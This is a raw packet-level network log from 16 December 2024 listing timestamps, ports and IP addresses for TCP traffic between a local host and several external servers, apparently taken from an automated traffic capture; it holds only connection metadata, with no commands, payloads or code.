Dec 16, 2024 10:37:50.916547060 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.916594982 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.926763058 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.934603930 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.934659958 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.934674025 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.944009066 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.944127083 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.944140911 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.953418016 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.953439951 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.953485966 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.953495026 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.953821898 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.962601900 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.972126007 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.972148895 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.972187042 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.972198009 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.972243071 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.994247913 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.996350050 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.996378899 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.996507883 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.996529102 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:50.996690035 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:50.999950886 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:51.009253025 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:51.009318113 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:51.009326935 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:51.018070936 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:51.018145084 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:51.018153906 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:51.026953936 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:51.027002096 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:51.027007103 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:51.027021885 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:51.027060032 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:51.035835981 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:51.043807983 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:51.043870926 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:51.043883085 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:51.051974058 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:51.052051067 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:51.052052021 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:51.052069902 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:51.052133083 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:51.066405058 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:51.067590952 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:51.067647934 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:51.067656994 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:51.071192980 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:51.071248055 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:51.071271896 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:51.071285009 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:51.071341038 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:51.074712038 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:51.081085920 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:51.081118107 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:51.081132889 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:51.081144094 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:51.081859112 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:51.082690001 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:51.085922003 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:51.085977077 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:51.085983038 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:51.089489937 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:51.089549065 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:51.089555025 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:51.092926979 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:51.092995882 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:51.093002081 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:51.093297005 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:51.093384981 CET	443	49822	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:51.093446016 CET	49822	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:51.555453062 CET	49846	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:51.555501938 CET	443	49846	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:51.555804014 CET	49846	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:51.556020975 CET	49846	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:51.556046963 CET	443	49846	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:52.909146070 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:52.909384966 CET	49857	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:53.028951883 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:53.029196978 CET	80	49857	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:53.029284000 CET	49857	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:53.029489040 CET	49857	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:53.149286985 CET	80	49857	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:53.259277105 CET	443	49846	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:53.259543896 CET	49846	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:53.259562016 CET	443	49846	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:53.259946108 CET	443	49846	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:53.260241032 CET	49846	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:53.260301113 CET	443	49846	142.250.181.68	192.168.2.9
Dec 16, 2024 10:37:53.303356886 CET	49846	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:54.815403938 CET	49859	443	192.168.2.9	172.217.17.46
Dec 16, 2024 10:37:54.815448046 CET	443	49859	172.217.17.46	192.168.2.9
Dec 16, 2024 10:37:54.815519094 CET	49859	443	192.168.2.9	172.217.17.46
Dec 16, 2024 10:37:54.823796988 CET	49859	443	192.168.2.9	172.217.17.46
Dec 16, 2024 10:37:54.823820114 CET	443	49859	172.217.17.46	192.168.2.9
Dec 16, 2024 10:37:54.886821032 CET	80	49857	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:54.886885881 CET	49857	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:55.008641958 CET	49857	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:55.128556013 CET	80	49857	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:55.146157026 CET	49859	443	192.168.2.9	172.217.17.46
Dec 16, 2024 10:37:55.146267891 CET	49846	443	192.168.2.9	142.250.181.68
Dec 16, 2024 10:37:55.774705887 CET	49705	80	192.168.2.9	2.16.164.97
Dec 16, 2024 10:37:55.895008087 CET	80	49705	2.16.164.97	192.168.2.9
Dec 16, 2024 10:37:55.895292044 CET	49705	80	192.168.2.9	2.16.164.97
Dec 16, 2024 10:37:55.949364901 CET	80	49857	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:55.949475050 CET	49857	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:00.951381922 CET	80	49857	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:00.951453924 CET	49857	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:07.913655996 CET	49857	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:07.913965940 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:08.033479929 CET	80	49857	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:08.033612967 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:08.033709049 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:08.033910990 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:08.153616905 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:09.870762110 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:09.870887995 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:10.523720026 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:10.643573999 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:10.966455936 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:10.966485977 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:10.966499090 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:10.966546059 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:10.966558933 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:10.966558933 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:10.966571093 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:10.966583967 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:10.966584921 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:10.966607094 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:10.966624022 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:10.966641903 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:10.966804028 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:10.966816902 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:10.966837883 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:10.966859102 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:10.974832058 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:10.974880934 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.086873055 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.086942911 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.158679962 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.158750057 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.158754110 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.158792019 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.162550926 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.162605047 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.162640095 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.162702084 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.170720100 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.170782089 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.170790911 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.170828104 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.178890944 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.178937912 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.178983927 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.179018021 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.187155008 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.187201977 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.187244892 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.187277079 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.195255041 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.195302010 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.195343971 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.195384979 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.203397036 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.203442097 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.203480959 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.203536987 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.211591959 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.211654902 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.211677074 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.211694956 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.220031023 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.220068932 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.220210075 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.220210075 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.227938890 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.227999926 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.228135109 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.228178978 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.235631943 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.235691071 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.235729933 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.235764980 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.243257999 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.243304968 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.350536108 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.350586891 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.350713015 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.353009939 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.353064060 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.353306055 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.353352070 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.357877970 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.357935905 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.357980013 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.358019114 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.362884998 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.362937927 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.363012075 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.363050938 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.367801905 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.367865086 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.367872000 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.367911100 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.372601986 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.372653008 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.372744083 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.372792006 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.377271891 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.377321959 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.377409935 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.377454042 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.382055998 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.382098913 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.382164955 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.382234097 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.386816978 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.386885881 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.386905909 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.386946917 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.391644955 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.391732931 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.391895056 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.391936064 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.396375895 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.396439075 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.396486998 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.396526098 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.401019096 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.401067019 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.401160002 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.401199102 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.405745983 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.405796051 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.405841112 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.405879021 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.410533905 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.410603046 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.410657883 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.410701036 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.415349007 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.415422916 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.415438890 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.415482044 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.419986963 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.420068026 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.420099020 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.420136929 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.424734116 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.424791098 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.424859047 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.424910069 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.429517984 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.429573059 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.429625988 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.429672003 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.434278965 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.434403896 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.434446096 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.434492111 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.439003944 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.439090014 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.542735100 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.542804956 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.542867899 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.542931080 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.544739962 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.544815063 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.544871092 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.544919968 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.548515081 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.548583031 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.548630953 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.548679113 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.552354097 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.552438021 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.552506924 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.552556992 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.556206942 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.556278944 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.556344032 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.556396008 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.559979916 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.560064077 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.560132027 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.560189009 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.563822031 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.563894987 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.563920021 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.563966036 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.567097902 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.567167997 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.567223072 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.567276955 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.570635080 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.570707083 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.570760012 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.570811033 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.574112892 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.574198008 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.574220896 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.574269056 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.577645063 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.577707052 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.577765942 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.577816010 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.581150055 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.581258059 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.581273079 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.581309080 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.584652901 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.584727049 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.584769964 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.584820986 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.588139057 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.588205099 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.588236094 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.588274002 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.591707945 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.591799021 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.591809988 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.591854095 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.595523119 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.595588923 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.595618010 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.595662117 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.598705053 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.598769903 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.598788977 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.598831892 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.602251053 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.602317095 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.602335930 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.602379084 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:11.605701923 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:11.605767965 CET	49896	80	192.168.2.9	185.215.113.206
